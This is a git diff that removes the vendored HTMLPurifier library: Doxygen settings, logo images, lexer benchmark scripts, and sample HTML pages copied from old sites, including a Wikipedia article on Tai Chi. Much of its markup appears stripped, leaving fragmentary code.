-USE_PDFLATEX = YES - -# If the LATEX_BATCHMODE tag is set to YES, doxygen will add the \\batchmode. -# command to the generated LaTeX files. This will instruct LaTeX to keep -# running if errors occur, instead of asking the user for help. -# This option is also used when generating formulas in HTML. - -LATEX_BATCHMODE = NO - -# If LATEX_HIDE_INDICES is set to YES then doxygen will not -# include the index chapters (such as File Index, Compound Index, etc.) -# in the output. - -LATEX_HIDE_INDICES = NO - -#--------------------------------------------------------------------------- -# configuration options related to the RTF output -#--------------------------------------------------------------------------- - -# If the GENERATE_RTF tag is set to YES Doxygen will generate RTF output -# The RTF output is optimized for Word 97 and may not look very pretty with -# other RTF readers or editors. - -GENERATE_RTF = NO - -# The RTF_OUTPUT tag is used to specify where the RTF docs will be put. -# If a relative path is entered the value of OUTPUT_DIRECTORY will be -# put in front of it. If left blank `rtf' will be used as the default path. - -RTF_OUTPUT = rtf - -# If the COMPACT_RTF tag is set to YES Doxygen generates more compact -# RTF documents. This may be useful for small projects and may help to -# save some trees in general. - -COMPACT_RTF = NO - -# If the RTF_HYPERLINKS tag is set to YES, the RTF that is generated -# will contain hyperlink fields. The RTF file will -# contain links (just like the HTML output) instead of page references. -# This makes the output suitable for online browsing using WORD or other -# programs which support those fields. -# Note: wordpad (write) and others do not support links. - -RTF_HYPERLINKS = NO - -# Load stylesheet definitions from file. Syntax is similar to doxygen's -# config file, i.e. a series of assignments. You only have to provide -# replacements, missing definitions are set to their default value. - -RTF_STYLESHEET_FILE = - -# Set optional variables used in the generation of an rtf document. -# Syntax is similar to doxygen's config file. - -RTF_EXTENSIONS_FILE = - -#--------------------------------------------------------------------------- -# configuration options related to the man page output -#--------------------------------------------------------------------------- - -# If the GENERATE_MAN tag is set to YES (the default) Doxygen will -# generate man pages - -GENERATE_MAN = NO - -# The MAN_OUTPUT tag is used to specify where the man pages will be put. -# If a relative path is entered the value of OUTPUT_DIRECTORY will be -# put in front of it. If left blank `man' will be used as the default path. - -MAN_OUTPUT = man - -# The MAN_EXTENSION tag determines the extension that is added to -# the generated man pages (default is the subroutine's section .3) - -MAN_EXTENSION = .3 - -# If the MAN_LINKS tag is set to YES and Doxygen generates man output, -# then it will generate one additional man file for each entity -# documented in the real man page(s). These additional files -# only source the real man page, but without them the man command -# would be unable to find the correct page. The default is NO. - -MAN_LINKS = NO - -#--------------------------------------------------------------------------- -# configuration options related to the XML output -#--------------------------------------------------------------------------- - -# If the GENERATE_XML tag is set to YES Doxygen will -# generate an XML file that captures the structure of -# the code including all documentation. - -GENERATE_XML = NO - -# The XML_OUTPUT tag is used to specify where the XML pages will be put. -# If a relative path is entered the value of OUTPUT_DIRECTORY will be -# put in front of it. If left blank `xml' will be used as the default path. - -XML_OUTPUT = xml - -# The XML_SCHEMA tag can be used to specify an XML schema, -# which can be used by a validating XML parser to check the -# syntax of the XML files. - -XML_SCHEMA = - -# The XML_DTD tag can be used to specify an XML DTD, -# which can be used by a validating XML parser to check the -# syntax of the XML files. - -XML_DTD = - -# If the XML_PROGRAMLISTING tag is set to YES Doxygen will -# dump the program listings (including syntax highlighting -# and cross-referencing information) to the XML output. Note that -# enabling this will significantly increase the size of the XML output. - -XML_PROGRAMLISTING = YES - -#--------------------------------------------------------------------------- -# configuration options for the AutoGen Definitions output -#--------------------------------------------------------------------------- - -# If the GENERATE_AUTOGEN_DEF tag is set to YES Doxygen will -# generate an AutoGen Definitions (see autogen.sf.net) file -# that captures the structure of the code including all -# documentation. Note that this feature is still experimental -# and incomplete at the moment. - -GENERATE_AUTOGEN_DEF = NO - -#--------------------------------------------------------------------------- -# configuration options related to the Perl module output -#--------------------------------------------------------------------------- - -# If the GENERATE_PERLMOD tag is set to YES Doxygen will -# generate a Perl module file that captures the structure of -# the code including all documentation. Note that this -# feature is still experimental and incomplete at the -# moment. - -GENERATE_PERLMOD = NO - -# If the PERLMOD_LATEX tag is set to YES Doxygen will generate -# the necessary Makefile rules, Perl scripts and LaTeX code to be able -# to generate PDF and DVI output from the Perl module output. - -PERLMOD_LATEX = NO - -# If the PERLMOD_PRETTY tag is set to YES the Perl module output will be -# nicely formatted so it can be parsed by a human reader. This is useful -# if you want to understand what is going on. On the other hand, if this -# tag is set to NO the size of the Perl module output will be much smaller -# and Perl will parse it just the same. - -PERLMOD_PRETTY = YES - -# The names of the make variables in the generated doxyrules.make file -# are prefixed with the string contained in PERLMOD_MAKEVAR_PREFIX. -# This is useful so different doxyrules.make files included by the same -# Makefile don't overwrite each other's variables. - -PERLMOD_MAKEVAR_PREFIX = - -#--------------------------------------------------------------------------- -# Configuration options related to the preprocessor -#--------------------------------------------------------------------------- - -# If the ENABLE_PREPROCESSING tag is set to YES (the default) Doxygen will -# evaluate all C-preprocessor directives found in the sources and include -# files. - -ENABLE_PREPROCESSING = YES - -# If the MACRO_EXPANSION tag is set to YES Doxygen will expand all macro -# names in the source code. If set to NO (the default) only conditional -# compilation will be performed. Macro expansion can be done in a controlled -# way by setting EXPAND_ONLY_PREDEF to YES. - -MACRO_EXPANSION = NO - -# If the EXPAND_ONLY_PREDEF and MACRO_EXPANSION tags are both set to YES -# then the macro expansion is limited to the macros specified with the -# PREDEFINED and EXPAND_AS_DEFINED tags. - -EXPAND_ONLY_PREDEF = NO - -# If the SEARCH_INCLUDES tag is set to YES (the default) the includes files -# in the INCLUDE_PATH (see below) will be search if a #include is found. - -SEARCH_INCLUDES = YES - -# The INCLUDE_PATH tag can be used to specify one or more directories that -# contain include files that are not input files but should be processed by -# the preprocessor. - -INCLUDE_PATH = - -# You can use the INCLUDE_FILE_PATTERNS tag to specify one or more wildcard -# patterns (like *.h and *.hpp) to filter out the header-files in the -# directories. If left blank, the patterns specified with FILE_PATTERNS will -# be used. - -INCLUDE_FILE_PATTERNS = - -# The PREDEFINED tag can be used to specify one or more macro names that -# are defined before the preprocessor is started (similar to the -D option of -# gcc). The argument of the tag is a list of macros of the form: name -# or name=definition (no spaces). If the definition and the = are -# omitted =1 is assumed. To prevent a macro definition from being -# undefined via #undef or recursively expanded use the := operator -# instead of the = operator. - -PREDEFINED = - -# If the MACRO_EXPANSION and EXPAND_ONLY_PREDEF tags are set to YES then -# this tag can be used to specify a list of macro names that should be expanded. -# The macro definition that is found in the sources will be used. -# Use the PREDEFINED tag if you want to use a different macro definition. - -EXPAND_AS_DEFINED = - -# If the SKIP_FUNCTION_MACROS tag is set to YES (the default) then -# doxygen's preprocessor will remove all function-like macros that are alone -# on a line, have an all uppercase name, and do not end with a semicolon. Such -# function macros are typically used for boiler-plate code, and will confuse -# the parser if not removed. - -SKIP_FUNCTION_MACROS = YES - -#--------------------------------------------------------------------------- -# Configuration::additions related to external references -#--------------------------------------------------------------------------- - -# The TAGFILES option can be used to specify one or more tagfiles. -# Optionally an initial location of the external documentation -# can be added for each tagfile. The format of a tag file without -# this location is as follows: -# TAGFILES = file1 file2 ... -# Adding location for the tag files is done as follows: -# TAGFILES = file1=loc1 "file2 = loc2" ... -# where "loc1" and "loc2" can be relative or absolute paths or -# URLs. If a location is present for each tag, the installdox tool -# does not have to be run to correct the links. -# Note that each tag file must have a unique name -# (where the name does NOT include the path) -# If a tag file is not located in the directory in which doxygen -# is run, you must also specify the path to the tagfile here. - -TAGFILES = - -# When a file name is specified after GENERATE_TAGFILE, doxygen will create -# a tag file that is based on the input files it reads. - -GENERATE_TAGFILE = - -# If the ALLEXTERNALS tag is set to YES all external classes will be listed -# in the class index. If set to NO only the inherited external classes -# will be listed. - -ALLEXTERNALS = NO - -# If the EXTERNAL_GROUPS tag is set to YES all external groups will be listed -# in the modules index. If set to NO, only the current project's groups will -# be listed. - -EXTERNAL_GROUPS = YES - -# The PERL_PATH should be the absolute path and name of the perl script -# interpreter (i.e. the result of `which perl'). - -PERL_PATH = /usr/bin/perl - -#--------------------------------------------------------------------------- -# Configuration options related to the dot tool -#--------------------------------------------------------------------------- - -# If the CLASS_DIAGRAMS tag is set to YES (the default) Doxygen will -# generate a inheritance diagram (in HTML, RTF and LaTeX) for classes with base -# or super classes. Setting the tag to NO turns the diagrams off. Note that -# this option is superseded by the HAVE_DOT option below. This is only a -# fallback. It is recommended to install and use dot, since it yields more -# powerful graphs. - -CLASS_DIAGRAMS = YES - -# You can define message sequence charts within doxygen comments using the \msc -# command. Doxygen will then run the mscgen tool (see http://www.mcternan.me.uk/mscgen/) to -# produce the chart and insert it in the documentation. The MSCGEN_PATH tag allows you to -# specify the directory where the mscgen tool resides. If left empty the tool is assumed to -# be found in the default search path. - -MSCGEN_PATH = - -# If set to YES, the inheritance and collaboration graphs will hide -# inheritance and usage relations if the target is undocumented -# or is not a class. - -HIDE_UNDOC_RELATIONS = YES - -# If you set the HAVE_DOT tag to YES then doxygen will assume the dot tool is -# available from the path. This tool is part of Graphviz, a graph visualization -# toolkit from AT&T and Lucent Bell Labs. The other options in this section -# have no effect if this option is set to NO (the default) - -HAVE_DOT = NO - -# If the CLASS_GRAPH and HAVE_DOT tags are set to YES then doxygen -# will generate a graph for each documented class showing the direct and -# indirect inheritance relations. Setting this tag to YES will force the -# the CLASS_DIAGRAMS tag to NO. - -CLASS_GRAPH = YES - -# If the COLLABORATION_GRAPH and HAVE_DOT tags are set to YES then doxygen -# will generate a graph for each documented class showing the direct and -# indirect implementation dependencies (inheritance, containment, and -# class references variables) of the class with other documented classes. - -COLLABORATION_GRAPH = YES - -# If the GROUP_GRAPHS and HAVE_DOT tags are set to YES then doxygen -# will generate a graph for groups, showing the direct groups dependencies - -GROUP_GRAPHS = YES - -# If the UML_LOOK tag is set to YES doxygen will generate inheritance and -# collaboration diagrams in a style similar to the OMG's Unified Modeling -# Language. - -UML_LOOK = NO - -# If set to YES, the inheritance and collaboration graphs will show the -# relations between templates and their instances. - -TEMPLATE_RELATIONS = NO - -# If the ENABLE_PREPROCESSING, SEARCH_INCLUDES, INCLUDE_GRAPH, and HAVE_DOT -# tags are set to YES then doxygen will generate a graph for each documented -# file showing the direct and indirect include dependencies of the file with -# other documented files. - -INCLUDE_GRAPH = YES - -# If the ENABLE_PREPROCESSING, SEARCH_INCLUDES, INCLUDED_BY_GRAPH, and -# HAVE_DOT tags are set to YES then doxygen will generate a graph for each -# documented header file showing the documented files that directly or -# indirectly include this file. - -INCLUDED_BY_GRAPH = YES - -# If the CALL_GRAPH, SOURCE_BROWSER and HAVE_DOT tags are set to YES then doxygen will -# generate a call dependency graph for every global function or class method. -# Note that enabling this option will significantly increase the time of a run. -# So in most cases it will be better to enable call graphs for selected -# functions only using the \callgraph command. - -CALL_GRAPH = NO - -# If the CALLER_GRAPH, SOURCE_BROWSER and HAVE_DOT tags are set to YES then doxygen will -# generate a caller dependency graph for every global function or class method. -# Note that enabling this option will significantly increase the time of a run. -# So in most cases it will be better to enable caller graphs for selected -# functions only using the \callergraph command. - -CALLER_GRAPH = NO - -# If the GRAPHICAL_HIERARCHY and HAVE_DOT tags are set to YES then doxygen -# will graphical hierarchy of all classes instead of a textual one. - -GRAPHICAL_HIERARCHY = YES - -# If the DIRECTORY_GRAPH, SHOW_DIRECTORIES and HAVE_DOT tags are set to YES -# then doxygen will show the dependencies a directory has on other directories -# in a graphical way. The dependency relations are determined by the #include -# relations between the files in the directories. - -DIRECTORY_GRAPH = YES - -# The DOT_IMAGE_FORMAT tag can be used to set the image format of the images -# generated by dot. Possible values are png, jpg, or gif -# If left blank png will be used. - -DOT_IMAGE_FORMAT = png - -# The tag DOT_PATH can be used to specify the path where the dot tool can be -# found. If left blank, it is assumed the dot tool can be found in the path. - -DOT_PATH = - -# The DOTFILE_DIRS tag can be used to specify one or more directories that -# contain dot files that are included in the documentation (see the -# \dotfile command). - -DOTFILE_DIRS = - -# The MAX_DOT_GRAPH_MAX_NODES tag can be used to set the maximum number of -# nodes that will be shown in the graph. If the number of nodes in a graph -# becomes larger than this value, doxygen will truncate the graph, which is -# visualized by representing a node as a red box. Note that doxygen if the number -# of direct children of the root node in a graph is already larger than -# MAX_DOT_GRAPH_NOTES then the graph will not be shown at all. Also note -# that the size of a graph can be further restricted by MAX_DOT_GRAPH_DEPTH. - -DOT_GRAPH_MAX_NODES = 50 - -# The MAX_DOT_GRAPH_DEPTH tag can be used to set the maximum depth of the -# graphs generated by dot. A depth value of 3 means that only nodes reachable -# from the root by following a path via at most 3 edges will be shown. Nodes -# that lay further from the root node will be omitted. Note that setting this -# option to 1 or 2 may greatly reduce the computation time needed for large -# code bases. Also note that the size of a graph can be further restricted by -# DOT_GRAPH_MAX_NODES. Using a depth of 0 means no depth restriction. - -MAX_DOT_GRAPH_DEPTH = 1000 - -# Set the DOT_TRANSPARENT tag to YES to generate images with a transparent -# background. This is disabled by default, which results in a white background. -# Warning: Depending on the platform used, enabling this option may lead to -# badly anti-aliased labels on the edges of a graph (i.e. they become hard to -# read). - -DOT_TRANSPARENT = NO - -# Set the DOT_MULTI_TARGETS tag to YES allow dot to generate multiple output -# files in one run (i.e. multiple -o and -T options on the command line). This -# makes dot run faster, but since only newer versions of dot (>1.8.10) -# support this, this feature is disabled by default. - -DOT_MULTI_TARGETS = NO - -# If the GENERATE_LEGEND tag is set to YES (the default) Doxygen will -# generate a legend page explaining the meaning of the various boxes and -# arrows in the dot generated graphs. - -GENERATE_LEGEND = YES - -# If the DOT_CLEANUP tag is set to YES (the default) Doxygen will -# remove the intermediate dot files that are used to generate -# the various graphs. - -DOT_CLEANUP = YES - -#--------------------------------------------------------------------------- -# Configuration::additions related to the search engine -#--------------------------------------------------------------------------- - -# The SEARCHENGINE tag specifies whether or not a search engine should be -# used. If set to NO the values of all tags below this one will be ignored. - -SEARCHENGINE = NO - -# vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/art/1000passes.png b/vendor/htmlpurifier/art/1000passes.png deleted file mode 100644 index 3351c92ab..000000000 Binary files a/vendor/htmlpurifier/art/1000passes.png and /dev/null differ diff --git a/vendor/htmlpurifier/art/100cases.png b/vendor/htmlpurifier/art/100cases.png deleted file mode 100644 index 03103a07e..000000000 Binary files a/vendor/htmlpurifier/art/100cases.png and /dev/null differ diff --git a/vendor/htmlpurifier/art/favicon.ico b/vendor/htmlpurifier/art/favicon.ico deleted file mode 100644 index 123fb1543..000000000 Binary files a/vendor/htmlpurifier/art/favicon.ico and /dev/null differ diff --git a/vendor/htmlpurifier/art/icon-16x16.png b/vendor/htmlpurifier/art/icon-16x16.png deleted file mode 100644 index 0c4ad4ff1..000000000 Binary files a/vendor/htmlpurifier/art/icon-16x16.png and /dev/null differ diff --git a/vendor/htmlpurifier/art/icon-16x16.svg b/vendor/htmlpurifier/art/icon-16x16.svg deleted file mode 100644 index 659c933d6..000000000 --- a/vendor/htmlpurifier/art/icon-16x16.svg +++ /dev/null @@ -1,101 +0,0 @@ - - - - - - - - - - - - - - - - - - - image/svg+xml - - - - - - - - - diff --git a/vendor/htmlpurifier/art/icon-32x32.png b/vendor/htmlpurifier/art/icon-32x32.png deleted file mode 100644 index 23a498ccb..000000000 Binary files a/vendor/htmlpurifier/art/icon-32x32.png and /dev/null differ diff --git a/vendor/htmlpurifier/art/icon-32x32.svg b/vendor/htmlpurifier/art/icon-32x32.svg deleted file mode 100644 index a60927ec9..000000000 --- a/vendor/htmlpurifier/art/icon-32x32.svg +++ /dev/null @@ -1,101 +0,0 @@ - - - - - - - - - - - - - - - - - - - image/svg+xml - - - - - - - - - diff --git a/vendor/htmlpurifier/art/icon-64x64.png b/vendor/htmlpurifier/art/icon-64x64.png deleted file mode 100644 index 0a65932dc..000000000 Binary files a/vendor/htmlpurifier/art/icon-64x64.png and /dev/null differ diff --git a/vendor/htmlpurifier/art/logo-large.png b/vendor/htmlpurifier/art/logo-large.png deleted file mode 100644 index f285fd1c3..000000000 Binary files a/vendor/htmlpurifier/art/logo-large.png and /dev/null differ diff --git a/vendor/htmlpurifier/art/logo.png b/vendor/htmlpurifier/art/logo.png deleted file mode 100644 index a037ec04b..000000000 Binary files a/vendor/htmlpurifier/art/logo.png and /dev/null differ diff --git a/vendor/htmlpurifier/art/logo.svg b/vendor/htmlpurifier/art/logo.svg deleted file mode 100644 index 26331f32c..000000000 --- a/vendor/htmlpurifier/art/logo.svg +++ /dev/null @@ -1,119 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - image/svg+xml - - - - - - - - - diff --git a/vendor/htmlpurifier/art/powered.png b/vendor/htmlpurifier/art/powered.png deleted file mode 100644 index 119c4b9c7..000000000 Binary files a/vendor/htmlpurifier/art/powered.png and /dev/null differ diff --git a/vendor/htmlpurifier/benchmarks/.htaccess b/vendor/htmlpurifier/benchmarks/.htaccess deleted file mode 100644 index 3a4288278..000000000 --- a/vendor/htmlpurifier/benchmarks/.htaccess +++ /dev/null @@ -1 +0,0 @@ -Deny from all diff --git a/vendor/htmlpurifier/benchmarks/ConfigSchema.php b/vendor/htmlpurifier/benchmarks/ConfigSchema.php deleted file mode 100644 index 087758c37..000000000 --- a/vendor/htmlpurifier/benchmarks/ConfigSchema.php +++ /dev/null @@ -1,16 +0,0 @@ -=')) { - require_once 'HTMLPurifier/Lexer/DOMLex.php'; - $LEXERS['DOMLex'] = new HTMLPurifier_Lexer_DOMLex(); -} - -// custom class to aid unit testing -class RowTimer extends Benchmark_Timer -{ - - public $name; - - public function RowTimer($name, $auto = false) - { - $this->name = htmlentities($name); - $this->Benchmark_Timer($auto); - } - - public function getOutput() - { - $total = $this->TimeElapsed(); - $result = $this->getProfiling(); - $dashes = ''; - - $out = ''; - - $out .= "{$this->name}"; - - $standard = false; - - foreach ($result as $k => $v) { - if ($v['name'] == 'Start' || $v['name'] == 'Stop') continue; - - //$perc = (($v['diff'] * 100) / $total); - //$tperc = (($v['total'] * 100) / $total); - - //$out .= '' . $v['diff'] . ''; - - if ($standard == false) $standard = $v['diff']; - - $perc = $v['diff'] * 100 / $standard; - $bad_run = ($v['diff'] < 0); - - $out .= '' . number_format($perc, 2, '.', '') . - '%'.number_format($v['diff'],4,'.','').''; - - } - - $out .= ''; - - return $out; - } -} - -function print_lexers() -{ - global $LEXERS; - $first = true; - foreach ($LEXERS as $key => $value) { - if (!$first) echo ' / '; - echo htmlspecialchars($key); - $first = false; - } -} - -function do_benchmark($name, $document) -{ - global $LEXERS, $RUNS; - - $config = HTMLPurifier_Config::createDefault(); - $context = new HTMLPurifier_Context(); - - $timer = new RowTimer($name); - $timer->start(); - - foreach($LEXERS as $key => $lexer) { - for ($i=0; $i<$RUNS; $i++) $tokens = $lexer->tokenizeHTML($document, $config, $context); - $timer->setMarker($key); - } - - $timer->stop(); - $timer->display(); -} - -?> - - -Benchmark: <?php print_lexers(); ?> - - -

Benchmark:

- - $value) { - echo ''; -} -?> -'; -$snippets[] = ''; - -foreach ($snippets as $snippet) { - do_benchmark($snippet, $snippet); -} - -// random input - -$random = Text_Password::create(80, 'unpronounceable', 'qwerty <>="\''); - -do_benchmark('Random input', $random); - -?>
Case' . htmlspecialchars($key) . '
- -Random input was: ' . - '' . - htmlspecialchars($random) . ''; - -?> - - - -purify(file_get_contents('samples/Lexer/4.html')); -xdebug_stop_trace(); - -echo "Trace finished."; - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/benchmarks/samples/Lexer/1.html b/vendor/htmlpurifier/benchmarks/samples/Lexer/1.html deleted file mode 100644 index 45cf907bc..000000000 --- a/vendor/htmlpurifier/benchmarks/samples/Lexer/1.html +++ /dev/null @@ -1,56 +0,0 @@ - - - - Main Page - Huaxia Taiji Club - - - - - - - - - - -
-

Main Page

Taiji (Tai Chi)

- - - - - -

Taiji is an ancient Chinese tradition of movement systems that is associated with philosophy, physiology, psychology, geometry and dynamics. It is the slowest form of martial arts and is meant to improve the internal spirit. It is soothing to the soul and extremely invigorating.

- -

The founder of Taiji was Zhang Sanfeng (Chang San-feng), who was a monk of the Wu Dang (Wu Tang) Monastery and lived in the period from 1391 to 1459. His exercises stressed suppleness and elasticity as opposed to the hardness and force of other martial art styles. Several centuries old, Taiji was originally developed as a form of self-defense, emphasizing strength, balance, flexibility and speed. Tai Chi also differs from other martial arts in that it is based on the Taoist religion and aims to avoid aggressive forces.

- -

Modern Taiji includes many forms — Quan, Sword and Fan. Impacting the mind and body of the practitioners, Taiji is practiced as a meditative exercise made up of a series of forms, or choreographed motions, requiring slow, gentle movement of the arms, legs and torso. Taiji practitioners learn to center their attention on their breathing and body movements so that the exercise strengthens their overall mental and physical awareness. In a sense, Taiji is similar to yoga in that it is also a form of moving meditation, with the goal of achieving stillness through the motion and awareness of breath. To perform Taiji, practitioners have to empty their mind of thoughts and worries in order to achieve harmony. It is a great aid for reducing stress and improving the quality of life.

- -

In China and in communities all over the world, Taiji is practiced by young and old in the early morning hours. It's a great way to bring a new and fresh day!

- -

Check out our gallery.

- -
- -
Click on photo to see HR version
- - - - diff --git a/vendor/htmlpurifier/benchmarks/samples/Lexer/2.html b/vendor/htmlpurifier/benchmarks/samples/Lexer/2.html deleted file mode 100644 index a56445763..000000000 --- a/vendor/htmlpurifier/benchmarks/samples/Lexer/2.html +++ /dev/null @@ -1,20 +0,0 @@ -Google - -
edwardzyang@gmail.com | Personalized Home | Search History | My Account | Sign out
Google

-
Web    Images    Groups    News    Froogle    Local    more »
 
  Advanced Search
  Preferences
  Language Tools


Advertising Programs - Business Solutions - About Google

©2006 Google

- - diff --git a/vendor/htmlpurifier/benchmarks/samples/Lexer/3.html b/vendor/htmlpurifier/benchmarks/samples/Lexer/3.html deleted file mode 100644 index 9e9f1a361..000000000 --- a/vendor/htmlpurifier/benchmarks/samples/Lexer/3.html +++ /dev/null @@ -1,131 +0,0 @@ - - -Anime Digi-Lib Index - - - -
- -
- - - - - - - - - - - - - - - - « - - Previous | - Top 100 | - Next - - - » - - - - -
- - - - - - - - - - -
 Search:The WebAngelfire    Planet
-
- Edit your Site show site directoryBrowse Sites hosted by angelfire
  - Vonagehosted by angelfire
-
-
- - -
- - - -
- - - - - -
-

May 1, 2000

-

Pop Culture

-

by. H. Finkelstein

- -
-

Welcome to the Anime Digi-Lib, a virtual index to anime on the - internet. This site strives to house a comprehensive index to both personal - and commercial websites and provides reviews to these sites. We hope to - be a gateway for people who've never imagined they'd ever be interested - in Japanese Animation.

- - - - - - -
-

 

-

 

- -
- - - - - - - - - - - - - - - - -
Search term:
Case-sensitive - -yes
exactfuzzy
-
- - -
- - - - - -
What is better, subtitled or dubbed anime?
Subtitled
Current results
Free - Web Polls
- -
- - - - - diff --git a/vendor/htmlpurifier/benchmarks/samples/Lexer/4.html b/vendor/htmlpurifier/benchmarks/samples/Lexer/4.html deleted file mode 100644 index 27cea255f..000000000 --- a/vendor/htmlpurifier/benchmarks/samples/Lexer/4.html +++ /dev/null @@ -1,543 +0,0 @@ - - - - - - - - Tai Chi Chuan - Wikipedia, the free encyclopedia - - - - - - - - - - - - - - - - - -
-
-
- - -
Registration for Wikimania 2006 is open.   
-

Tai Chi Chuan

-
-

From Wikipedia, the free encyclopedia

- -
-
Jump to: navigation, search
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
???
- -
-
-
Yang Chengfu in a posture from the Tai Chi solo form known as Single Whip, circa 1918 -
-
Enlarge
-Yang Chengfu in a posture from the Tai Chi solo form known as Single Whip, circa 1918
-
-
-
-
Chinese Name
Hanyu PinyinTàijíquán
Wade-GilesT'ai4 Chi2 Ch'üan2
Simplified Chinese???
Traditional Chinese???
Cantonesetaai3 gik6 kyun4
Japanese Hiragana???????
Korean???
VietnameseThái C?c Quy?n
-

Tai Chi Chuan, T'ai Chi Ch'üan or Taijiquan (Traditional Chinese: ???; Simplified Chinese: ???; pinyin: Tàijíquán; literally "supreme ultimate fist"), commonly known as Tai Chi, T'ai Chi, or Taiji, is an internal Chinese martial art. There are different styles of T'ai Chi Ch'üan, although most agree they are all based on the system originally taught by the Chen family to the Yang family starting in 1820. It is often promoted and practiced as a martial arts therapy for the purposes of health and longevity, (some recent medical studies support its effectiveness). T'ai Chi Ch'üan is considered a soft style martial art, an art applied with as complete a relaxation or "softness" in the musculature as possible, to distinguish its theory and application from that of the hard martial art styles which use a degree of tension in the muscles.

- -

Variations of T'ai Chi Ch'üan's basic training forms are well known as the slow motion routines that groups of people practice every morning in parks across China and other parts of the world. Traditional T'ai Chi training is intended to teach awareness of one's own balance and what affects it, awareness of the same in others, an appreciation of the practical value in one's ability to moderate extremes of behavior and attitude at both mental and physical levels, and how this applies to effective self-defense principles.

- - - - -
-
-

Contents

-
- -
-

- - -

-

Overview

-

Historically, T'ai Chi Ch'üan has been regarded as a martial art, and its traditional practitioners still teach it as one. Even so, it has developed a worldwide following among many thousands of people with little or no interest in martial training for its aforementioned benefits to health and health maintenance. Some call it a form of moving meditation, and T'ai Chi theory and practice evolved in agreement with many of the principles of traditional Chinese medicine. Besides general health benefits and stress management attributed to beginning and intermediate level T'ai Chi training, many therapeutic interventions along the lines of traditional Chinese medicine are taught to advanced T'ai Chi students.

-

T'ai Chi Ch'üan as physical training is characterized by its requirement for the use of leverage through the joints based on coordination in relaxation rather than muscular tension in order to neutralize or initiate physical attacks. The slow, repetitive work involved in that process is said to gently increase and open the internal circulation (breath, body heat, blood, lymph, peristalsis, etc.). Over time, proponents say, this enhancement becomes a lasting effect, a direct reversal of the constricting physical effects of stress on the human body. This reversal allows much more of the students' native energy to be available to them, which they may then apply more effectively to the rest of their lives; families, careers, spiritual or creative pursuits, hobbies, etc.

- -

The study of T'ai Chi Ch'üan involves three primary subjects:

-
    -
  • Health - an unhealthy or otherwise uncomfortable person will find it difficult to meditate to a state of calmness or to use T'ai Chi as a martial art. T'ai Chi's health training therefore concentrates on relieving the physical effects of stress on the body and mind.
  • -
  • Meditation - the focus meditation and subsequent calmness cultivated by the meditative aspect of T'ai Chi is seen as necessary to maintain optimum health (in the sense of effectively maintaining stress relief or homeostasis) and in order to use it as a soft style martial art.
  • -
  • Martial art - the ability to competently use T'ai Chi as a martial art is said to be proof that the health and meditation aspects are working according to the dictates of the theory of T'ai Chi Ch'üan.
  • - -
-

In its traditional form (many modern variations exist which ignore at least one of the above requirements) every aspect of its training has to conform with all three of the aforementioned categories.

-

The Mandarin term "T'ai Chi Ch'üan" translates as "Supreme Ultimate Boxing" or "Boundless Fist". T'ai Chi training involves learning solo routines, known as forms, and two person routines, known as pushing hands, as well as acupressure-related manipulations taught by traditional schools. T'ai Chi Ch'üan is seen by many of its schools as a variety of Taoism, and it does seemingly incorporate many Taoist principles into its practice (see below). It is an art form said to date back many centuries (although not reliably documented under that name before 1850), with precursor disciplines dating back thousands of years. The explanation given by the traditional T'ai Chi family schools for why so many of their previous generations have dedicated their lives to the study and preservation of the art is that the discipline it seems to give its students to dramatically improve the effects of stress in their lives, with a few years of hard work, should hold a useful purpose for people living in a stressful world. They say that once the T'ai Chi principles have been understood and internalized into the bodily framework the practitioner will have an immediately accessible "toolkit" thereby to improve and then maintain their health, to provide a meditative focus, and that can work as an effective and subtle martial art for self-defense.

-

Teachers say the study of T'ai Chi Ch'üan is, more than anything else, about challenging one's ability to change oneself appropriately in response to outside forces. These principles are taught using the examples of physics as experienced by two (or more) bodies in combat. In order to be able to protect oneself or someone else by using change, it is necessary to understand what the consequences are of changing appropriately, changing inappropriately and not changing at all in response to an attack. Students, by this theory, will appreciate the full benefits of the entire art in the fastest way through physical training of the martial art aspect.

- -

Wu Chien-ch'üan, co-founder of the Wu family style, described the name T'ai Chi Ch'üan this way at the beginning of the 20th century:

-
-
"Various people have offered different explanations for the name T'ai Chi Ch'uan. Some have said: 'In terms of self-cultivation, one must train from a state of movement towards a state of stillness. T'ai Chi comes about through the balance of yin and yang. In terms of the art of attack and defense then, in the context of the changes of full and empty, one is constantly internally latent, not outwardly expressive, as if the yin and yang of T'ai Chi have not yet divided apart.'
- -
Others say: 'Every movement of T'ai Chi Ch'uan is based on circles, just like the shape of a T'ai Chi symbol. Therefore, it is called T'ai Chi Ch'uan.' Both explanations are quite reasonable, especially the second, which is more complete."
-
- -

- -

Training and techniques

-
-
The T'ai Chi Symbol or T'ai Chi T'u (Taijitu) -
-
Enlarge
-The T'ai Chi Symbol or T'ai Chi T'u (Taijitu)
-
-
-

As the name T'ai Chi Ch'üan is held to be derived from the T'ai Chi symbol, the taijitu or t'ai chi t'u (???, pinyin tàijítú), commonly known in the West as the "yin-yang" diagram, T'ai Chi Ch'üan techniques are said therefore to physically and energetically balance yin (receptive) and yang (active) principles: "From ultimate softness comes ultimate hardness."

- -

The core training involves two primary features: the first being the solo form or ch'üan, a slow sequence of movements which emphasize a straight spine, relaxed breathing and a natural range of motion; the second being different styles of pushing hands or t'ui shou (??) for training "stickiness" and sensitivity in the reflexes through various motions from the forms in concert with a training partner in order to learn leverage, timing, coordination and positioning when interacting with another. Pushing hands is seen as necessary not only for training the self-defense skills of a soft style such as T'ai Chi by demonstrating the forms' movement principles experientially, but also it is said to improve upon the level of conditioning provided by practice of the solo forms by increasing the workload on students while they practice those movement principles.

-

The solo form should take the students through a complete, natural, range of motion over their centre of gravity. Accurate, repeated practice of the solo routine is said to retrain posture, encourage circulation throughout the students' bodies, maintain flexibility through their joints and further familiarize students with the martial application sequences implied by the forms. The major traditional styles of T'ai Chi have forms which differ somewhat cosmetically, but there are also many obvious similarities which point to their common origin. The solo forms, empty-hand and weapon, are catalogues of movements that are practised individually in pushing hands and martial application scenarios to prepare students for self-defence training. In most traditional schools different variations of the solo forms can be practiced; fast/slow, small circle/large circle, square/round (which are different expressions of leverage through the joints), low sitting/high sitting (the degree to which weight-bearing knees are kept bent throughout the form), for example.

-

